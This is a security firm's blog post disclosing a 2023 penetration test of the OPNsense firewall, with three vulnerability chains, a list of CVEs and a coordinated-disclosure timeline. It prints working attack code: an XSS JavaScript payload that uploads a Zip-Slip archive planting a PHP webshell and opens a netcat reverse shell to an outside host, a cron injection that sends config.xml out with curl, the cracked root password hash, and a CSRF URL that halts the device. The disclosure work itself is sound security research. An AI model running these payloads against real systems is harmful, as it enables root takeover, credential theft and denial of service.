[EN] A-Z: OPNsense - Penetration Test

Recently we performed a non-profit penetration test of OPNsense - an open source, FreeBSD based firewall and routing platform with ~51.47K active instances according to censys.io. The assessment was focused on web GUI and API as well as some parts of the system backend. Work has been carried out in a period from June 12 to June 26, 2023. In total, around 120 hours were committed to the project.

During the test we managed to find many interesting and varied vulnerabilities, e.g., Cross-Site Scripting, Cross-Site Request Forgery, Open Redirect, Insecure Permissions, OS Command Injection and Zip-Slip which eventually leads to root shell. You can find all of them in the Full PDF Report which is also a great example of what our commercial clients receive.

We would like to show you three scenarios of how vulnerabilities that we found could be chained together to perform attacks on the OPNsense instance.

Scenario 1 - Reflected XSS leads to root RCE via Zip-Slip

In this scenario we used Reflected Cross-Site Scripting vulnerability (LT-0017) to deliver our payload to the administrator. Sending GET request to https://opnsense/ui/cron/item/open/0'+alert(window.origin)+' would result in the following response:

<!doctype html>
<html lang="en-US" class="no-js">
  <head>
[...]
<script>
[...]
	openDialog('0'+alert(window.origin)+'');
[...]

After an administrator clicks on our link, we need to send six requests from their browser. First two requests create new Captive Portal template, another three enable Captive Portal with the selected template, and the last one spawns netcat reverse shell with our brand-new luta.php webshell.

Example Javascript payload:

let requestData = {"name":"zipslip","content":"UEsDBAoAAAAAAJOO5VYdoS5KEAAAABAAAAA3ABwALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3d3dy9sdXRhLnBocFVUCQADxZGlZPyPpWR1eAsAAQQAAAAABAAAAAA8Pz1gJF9HRVRbeF1gPz4KUEsDBAoAAAAAAEGO5VYAAAAAAAAAAAAAAAAEABwAY3NzL1VUCQADKpGlZCuRpWR1eAsAAQToAwAABOgDAABQSwMEFAAAAAgAMn7lVqx0FrPKAAAAvQEAAAwAHABleGNsdWRlLmxpc3RVVAkAA/B0pWSLkaVkdXgLAAEE6AMAAAToAwAAjY8xbsMwDEV3nYJAhk5RgN6gd+gFZJeSmVKiQdJRffvKKbpk8sjPx/8/L/C5kAGTOczSPFEz8AUhE2NLFY8pOdS0QxOHCUEeqF3JHRtM+xPeDBX6MoRZMTm1AvNmLhUc68rJ0WK4wAcz0FAMqI27/9wu7e3pPC4Uv/6WeNTJVOJP5SNGNoWso1AX/Q6z2W0ScXNNaxxTrGl9USu1YxPyeMtuhfd1oeFp1yVx5tHRropl46QRxc9g9ihnMPd8BuuST3Pv4f762t3CL1BLAwQKAAAAAABEjuVWAAAAAAAAAAAAAAAABgAcAGZvbnRzL1VUCQADL5GlZDCRpWR1eAsAAQToAwAABOgDAABQSwMECgAAAAAASo7lVgAAAAAAAAAAAAAAAAcAHABpbWFnZXMvVVQJAAM8kaVkQZGlZHV4CwABBOgDAAAE6AMAAFBLAwQKAAAAAABTjuVW5yL1pwQAAAAEAAAACgAcAGluZGV4Lmh0bWxVVAkAA06RpWSLkaVkdXgLAAEE6AMAAAToAwAAcG9jClBLAwQKAAAAAABPjuVWAAAAAAAAAAAAAAAAAwAcAGpzL1VUCQADRZGlZEaRpWR1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAACTjuVWHaEuShAAAAAQAAAANwAYAAAAAAABAAAApIEAAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3d3dy9sdXRhLnBocFVUBQADxZGlZHV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAAEGO5VYAAAAAAAAAAAAAAAAEABgAAAAAAAAAEADtQYEAAABjc3MvVVQFAAMqkaVkdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAMn7lVqx0FrPKAAAAvQEAAAwAGAAAAAAAAQAAAICBvwAAAGV4Y2x1ZGUubGlzdFVUBQAD8HSlZHV4CwABBOgDAAAE6AMAAFBLAQIeAwoAAAAAAESO5VYAAAAAAAAAAAAAAAAGABgAAAAAAAAAEADtQc8BAABmb250cy9VVAUAAy+RpWR1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAABKjuVWAAAAAAAAAAAAAAAABwAYAAAAAAAAABAA7UEPAgAAaW1hZ2VzL1VUBQADPJGlZHV4CwABBOgDAAAE6AMAAFBLAQIeAwoAAAAAAFOO5VbnIvWnBAAAAAQAAAAKABgAAAAAAAEAAACAgVACAABpbmRleC5odG1sVVQFAANOkaVkdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAT47lVgAAAAAAAAAAAAAAAAMAGAAAAAAAAAAQAO1BmAIAAGpzL1VUBQADRZGlZHV4CwABBOgDAAAE6AMAAFBLBQYAAAAABwAHAEsCAADVAgAAAAA="}
ajaxCall("/api/captiveportal/service/saveTemplate", requestData, () => {
	ajaxCall("/api/captiveportal/service/reconfigure", {}, () => {
		ajaxCall("/api/captiveportal/service/searchTemplates", {"current":1,"rowCount":7,"sort":{},"searchPhrase":"zipslip"}, (data, status) => {
			let requestData = {"zone":{"enabled":"1","interfaces":"lan","authservers":"Local Database","alwaysSendAccountingReqs":"0","authEnforceGroup":"","idletimeout":"0","hardtimeout":"0","concurrentlogins":"1","certificate":"","servername":"","allowedAddresses":"","allowedMACAddresses":"","transparentHTTPProxy":"0","transparentHTTPSProxy":"0","extendedPreAuthData":"0","template":data.rows[0].uuid,"description":"poc"}}
			ajaxCall("/api/captiveportal/settings/addZone/", requestData, () => {
				ajaxCall("/api/captiveportal/service/reconfigure", {}, () => {
					ajaxCall("/luta.php?x=rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 192.168.1.118 1337 >/tmp/f", null, null)
				})
			})
		})
	})
})

Above script can be base64 encoded and put inside the URL:

https://opnsense/ui/cron/item/open/0'+eval(atob('bGV0IHJlcXVlc3REYXRhID0geyJuYW1[...]gkJCQl9KQoJCQl9KQoJCX0pCgl9KQp9KQo='))+'

What’s interesting is that the application accepts templates in ZIP format, and then it extracts all of their contents to the template directory. However, the way in which the application extracts the files makes it vulnerable to the Zip-Slip attack (LT-0014):

# source: src/opnsense/scripts/OPNsense/CaptivePortal/overlay_template.py
with zipfile.ZipFile(input_data, mode='r', compression=zipfile.ZIP_DEFLATED) as zf_in:
    for zf_info in zf_in.infolist():
        if zf_info.filename[-1] != '/':
            target_filename = '%s%s' % (target_directory, zf_info.filename)
            file_target_directory = '/'.join(target_filename.split('/')[:-1])
            if not os.path.isdir(file_target_directory):
                os.makedirs(file_target_directory)
            with open(target_filename, 'wb') as f_out:
                f_out.write(zf_in.read(zf_info.filename))
            os.chmod(target_filename, 0o444)

By using ../ sequences it is possible to extract files to other directories. This allows us to extract PHP file to the web root - /usr/local/www.

Our ZIP archive looks like this, where luta.php is a simple PHP web shell:

Archive:  zipslip.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
       16  2023-07-05 17:52   ../../../../../../../../../../../usr/local/www/luta.php
        0  2023-07-05 17:50   css/
      445  2023-07-05 15:49   exclude.list
        0  2023-07-05 17:50   fonts/
        0  2023-07-05 17:50   images/
        4  2023-07-05 17:50   index.html
        0  2023-07-05 17:50   js/
---------                     -------
      465                     7 files

Since the PHP process is being ran as a root user, the shell is granted root privileges as well.

Proof of Concept Video:

Scenario 2 - Reflected XSS -> OS Command Injection -> root password retrieval via config.xml insecure permissions

In the second scenario the payload is also delivered through Reflected XSS, but this time the vulnerability is introduced in Certificates tab (LT-0002). Sending request to https://opnsense/system_certmanager.php?act=%22%3E%3Csvg/onload=alert(window.origin)%3E&id=0 results in the following response body:

<!doctype html>
<html lang="en-US" class="no-js">
[...]
<form method="post" name="iform" id="iform"><input type="hidden" name="N3p4b1ZZUXpTc2VFWmFaLzRHQW5Ydz09" value="VUlyWVI0bWkyYkdjWDNvVGprQ1F2UT09" autocomplete="new-password" >
  <input type="hidden" name="id" id="id" value="0">
  <input type="hidden" name="act" id="action" value=""><svg/onload=alert(window.origin)>"/>
</form>
[...]

We want to send request to /api/cron/settings/addJob/ in order to add new cron job. The application allows only specific commands to be executed via cron, however, by including single quotes (') and newline character (\n) in the command parameters, we can define completely separate cron job and execute any command as nobody user (LT-0016).

Example Javascript payload:

let requestData = {"job":{"enabled":"1","minutes":"*","hours":"*","days":"*","months":"*","weekdays":"*","command":"firmware auto-update","parameters":"'\n*\t*\t*\t*\t* curl -F config=@/conf/config.xml 192.168.1.118:1337 #'","description":"poc2"}}
setTimeout(() => {
	ajaxCall("/api/cron/settings/addJob/", requestData, () => {
		ajaxCall("/api/cron/service/reconfigure", {}, () => {
		})
	})
}, 1000)

…and turned into an URL:

https://opnsense/system_certmanager.php?act=%22%3E%3Csvg/onload=eval(atob(%27bGV0IHJlcXVlc3REYXRh[...]HsKCQl9KQoJfSkKfSwgMTAwMCk=%27))%3E&id=0

After the administrator opens the link, we can see our command added to the crontab:

root@OPNsense:~ # cat /var/cron/tabs/nobody
# DO NOT EDIT THIS FILE -- OPNsense auto-generated file
#
# User-defined crontab files can be loaded via /etc/cron.d
# or /usr/local/etc/cron.d and follow the same format as
# /etc/crontab, see the crontab(5) manual page.
SHELL=/bin/sh
PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
#minute	hour	mday	month	wday	command
# Origin/Description: cron/poc2
*	*	*	*	*	/usr/local/sbin/configctl -d firmware auto-update '
*	*	*	*	* curl -F config=@/conf/config.xml 192.168.1.118:1337 #'

In the above payload we are adding next vulnerability to the chain - even though we only have privileges of user nobody, insecure permissions (LT-0003) grant us read access to the configuration file:

root@OPNsense:/conf # ls -la
total 112
drwxr-xr-x   4 root  wheel    512 Jul 31 12:41 .
drwxr-xr-x  21 root  wheel   1024 Jul 31 12:44 ..
drwxr-xr-x   2 root  wheel   4096 Jul 31 14:13 backup
-rw-r-----   1 root  wheel  49152 Jul 31 12:41 captiveportal.sqlite
-rw-r--r--   1 root  wheel  39796 Jul 31 14:13 config.xml
-rw-r-----   1 root  wheel    383 Jul 31 12:41 dhcpleases.tgz
-rw-r-----   1 root  wheel     40 Jul 31 14:13 event_config_changed.json
drwxr-xr-x   2 root  wheel    512 Jul  5 12:40 sshd

Soon config.xml is sent to our listener:

feliks@debian ~> nc -lkp 1337
POST / HTTP/1.1
Host: 192.168.1.118:1337
User-Agent: curl/7.87.0
Accept: */*
Content-Length: 39119
Content-Type: multipart/form-data; boundary=------------------------06c60d07c2a2ae1e

--------------------------06c60d07c2a2ae1e
Content-Disposition: form-data; name="config"; filename="config.xml"
Content-Type: application/xml

<?xml version="1.0"?>
<opnsense>
  <theme>opnsense</theme>
  <sysctl>
[...]
    <user>
      <name>root</name>
      <descr>System Administrator</descr>
      <scope>system</scope>
      <groupname>admins</groupname>
      <password>$2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS</password>
      <uid>0</uid>
    </user>
[...]

Congratulations, it’s a bcrypt hash of a root password!

Finally, we feed it to hashcat:

feliks@debian ~> hashcat -m 3200 '$2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS' -a 0 wordlist.txt
hashcat (v6.1.1) starting...

[...]

$2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS:opnsense
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY...1TwBfS
Time.Started.....: Mon Jul 31 17:04:47 2023 (0 secs)
Time.Estimated...: Mon Jul 31 17:04:47 2023 (0 secs)
Guess.Base.......: File (wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       10 H/s (3.82ms) @ Accel:2 Loops:64 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 6/6 (100.00%)
Rejected.........: 0/6 (0.00%)
Restore.Point....: 0/6 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:960-1024
Candidates.#1....: luta -> opnsense

Started: Mon Jul 31 17:04:13 2023
Stopped: Mon Jul 31 17:04:48 2023

Scenario 3 - CSRF that halts the firewall

This one is quite straightforward. Administrator visits our website, from which we redirect them to https://opnsense/api/core/system/halt, to turn off the instance. Normally, this request is made using POST method and requires CSRF token, but during the test it turned out that the app accepts GET request as well, and in such case doesn’t require CSRF token.

As a result, the OPNsense instance turns off.

Proof of Concept Video:

Closing thoughts

We reported found vulnerabilities to OPNsense maintainers and we really want to thank them for a great response. They handled the whole process very professionally, quickly prepared effective patches for many vulnerabilities and included them in the newest releases - OPNsense 23.7 “Restless Roadrunner” as well as business edition 23.4.2. Also, they provided us with reasoning behind decision not to patch some of them right now.

We are very happy about the outcome of the tests and can’t wait to start another project like this soon. Stay tuned!

Full list of found vulnerabilities

  1. LT-0001: Using GET method to modify application state CVE-2023-38999
  2. LT-0002: Reflected Cross-Site Scripting - Certificates - act CVE-2023-39002
  3. LT-0003: Insecure directory permissions - /conf/ CVE-2023-39004
  4. LT-0004: Reflected Cross-Site Scripting - Log Files - /ui/diagnostics/log/core/ CVE-2023-39000
  5. LT-0005: Open Redirect - Login CVE-2023-38998
  6. LT-0006: Services run as root
  7. LT-0007: Insecure temporary file storage - /tmp/ usage CVE-2023-39003
  8. LT-0008: Command injection - Backups - diag_backup.php CVE-2023-39001
  9. LT-0009: Custom message injection - system_usermanager.php
  10. LT-0010: Improper error handling
  11. LT-0011: Lack of input sanitization - crash_reporter.php CVE-2023-39006
  12. LT-0013: Insecure permissions - configd.socket CVE-2023-39005
  13. LT-0014: Zip-slip in Captive Portal template upload leads to Remote Code Execution CVE-2023-38997
  14. LT-0015: Verbose error messages
  15. LT-0016: Command injection - Cron - /api/cron/settings/setJob/ CVE-2023-39008
  16. LT-0017: Reflected Cross-Site Scripting - Cron - /ui/cron/item/open/ CVE-2023-39007

Timeline

  • 27.06.2023 Vulnerabilities reported to OPNsense
  • 27.06.2023 Report acknowledged
  • 28.06 - 05.07.2023 Vendor fixed the vulnerabilities
  • 12.07 Retest
  • 17.07.2023 End of vulnerabilities disclosure process - reported issues are fixed or otherwise handled
  • 31.07.2023 OPNsense 23.7 Released
Written on August 9, 2023 by Feliks Penconek

We invite you to contact us

through the following form:

LogicalTrust sp. z o.o.
sp. k.

Stanisławowska 47
54-611 Wrocław, Poland, EU

NIP: 8952177980
KRS: 0000713515